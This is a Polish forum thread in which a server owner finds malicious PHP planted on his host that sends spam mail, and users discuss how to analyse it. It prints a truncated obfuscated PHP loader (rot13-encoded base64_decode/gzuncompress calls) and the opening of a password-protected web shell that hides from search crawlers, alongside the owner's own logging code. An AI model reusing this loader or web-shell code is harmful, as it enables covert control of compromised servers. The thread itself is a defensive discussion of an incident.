[g.....h]

Właśnie odkryłem, że na moim serwerze są pliki które coś robią, ale nie wiem co... wysyłają jakiś mailing.
Więc jednak to prawda, ludzie dzielą się na tych którzy zostali shackowani i tych którzy o tym nie wiedzą...

A teraz pora na trochę zabawy - piszę program aby pobrać wszystkie parametry do tamtego programu. Tak być nie może... ktoś chętny na późniejszą analizę?

#hacking #niebezpiecznik

[g.....h]

@less_is_more: usera. Serwer wirtualny na nazwie.

[Felonious_Gru]

@grzemach: i co się odjebuje?

[g.....h]

@Felonious_Gru: w sumie to od dwóch dni dostaję maile zwrotne z różnych adresów, że nie dostarczono poczty... uznałem, że ktoś się podszywał, ale(!) coś mnie zaintrygowało:
- wysyłka szła z maila którego nikt nie miał prawa znać (moj-serwer@moj-serwer nazwa pl)
- w mailu był link do pliku.... który faktycznie istniał, i który coś odwala, a wygląda tak:

php $_a = array('rWmyiKgsTxaGZCk38vaTJn4q2PNPnwLODL3EkOj06lRampZBZZPfN8CBQXXo9of/IqJU6M4QLani+37r3+ghSYded6gC1qII1qKo7n3g6Jw6+UUOaxJwmgDBD6AyzR97mmM/Kn9g/gegCn92A7d1re23nn//nipT64CamboMsSmb+M4sVCOC/pRzWiFqtG3mbb7qv1k/NwaJtrf54Kg7Lvz5f9Qc2U/LA5NsOGAUlrzA7PO0Vvm4lM30/Kz4Jdgi1dQjL3qDKUUT0+v2JBvp7c983Q+5fS6saK3baZB3mh6e/nZm61hcMUk/oZOCNrbVqbsBWZYT2RSt3koAI74/9OlmoWva3vlL4bs3c0pi/Nt/hKoUQabw99bW8BfKr9W3oiQGvG3hrcOLnuWzbTZnBZCB2V56b6X1MuxIjk1CCo/iSX2/eoWnqDaleQHKR5rtTK9Twg13tvWOeqHdIJBwhzRp+MSk4Z8zsLiGtQ/BwEhko3rC7k4/3aRaotr6ezt5DrNUUp8sJhJw83............6t/ksKM9z+',);$_r = "\x73\x74\x72\x5f\x72\x6f\x74\x31\x33";$_i = $_r("vzcybqr");$_b = $_r("onfr64_qrpbqr");$_g = $_r("tmhapbzcerff");$_x = $_i("",

[AdamZz]

@grzemach: Taktyk!

[g.....h]

@AdamZz: będę starał się wołać, ale nie wiem czy dam radę wszystkich.

[g.....h]

Dopisałem sobie prosty kodzik do ich skryptu:

$fileToSave = '/home/nazwa_mojego_serwera/ftp/hack_log';
file_put_contents($fileToSave, 'New access: '.date('d-m-Y H:i:s
').'File: '.__FILE__.'
',FILE_APPEND);
file_put_contents($fileToSave, 'GET:
',FILE_APPEND);
file_put_contents($fileToSave, print_r($_GET, true),FILE_APPEND);
file_put_contents($fileToSave, 'POST:
',FILE_APPEND);
file_put_contents($fileToSave, print_r($_POST, true),FILE_APPEND);
if(isset($_SESSION)) {
 file_put_contents($fileToSave, 'SESSION:
', FILE_APPEND);
 file_put_contents($fileToSave, print_r($_SESSION, true), FILE_APPEND);
}
if(isset($_COOKIE)) {
 file_put_contents($fileToSave, 'COOKIE:
', FILE_APPEND);
 file_put_contents($fileToSave, print_r($_COOKIE, true), FILE_APPEND);
}
file_put_contents($fileToSave, 'SERVER:
',FILE_APPEND);
if(isset($_SERVER)) {
 file_put_contents($fileToSave, print_r($_SERVER, true), FILE_APPEND);
}
file_put_contents($fileToSave, 'ENV:
',FILE_APPEND);
if(isset($_ENV)) {
 file_put_contents($fileToSave, print_r($_ENV, true), FILE_APPEND);
}

[Niewierny_Mops]

wszystkich którzy zaplusują lub zakomentują ten wpis będę wołał jak już będzie gotowe.

@grzemach: i se przesrałeś Mirek ( ͡° ͜ʖ ͡°)

[g.....h]

@Niewierny_Mops: wiem. Myślałem, że mniej osób będzie...

[sukisuki]

@grzemach: w koncu cos ciekawego na mirko, wołaj

[technic]

@grzemach: php ?<?php
$authpass = "6c8573157bc90b4b122c5a37acf3f9e4";
$color = "#df5";
$defaultaction = 'FilesMan';
$defaultuseajax = true;
$defaultcharset = 'Windows-1251';
if (!empty($SERVER['HTTPUSERAGENT'])) {
$userAgents = array("Google", "Slurp", "MSNBot", "iaarchiver", "Yandex", "Rambler");
if (pregmatch('/' . implode('|', $userAgents) . '/i', $SERVER['HTTPUSERAGENT'])) {
header('HTTP/1.0 404 Not Found');
exit;
}
}
@ini_set('errorlog', NUdrdrdrdrdrdrdrdrT'])) {
'ao

[technic]

@grzemach: możesz te wszystkie pliki wrzucić. To jest po porstu file manager ale fajnie by było go pozbierać

[k.....z]

@grzemach: Na przyszłość: http://toolki.com/en/php-decoder/

[Erto]

@grzemach: no to masz zalazek honeypota ;). Mam nadzieje, ze zdajesz sobie sprawe, ze w tej sytuacji jedynie kompletny wipe serwera jest rozwiazaniem?

[Erto]

@grzemach: No to jestes na dobrej drodze!

Wrzuc, ciekawe czy call home czy sobie porty otwieral

[shayk]

@grzemach: wołaj :D

[Erto]

@grzemach: przelec tez domene mxtoolbox czy innym ustrojstwem, zobacz czy juz na banlistach nie siedzi

[erwit]

@grzemach: wolaj

[g.....h]

@Erto: IP czyste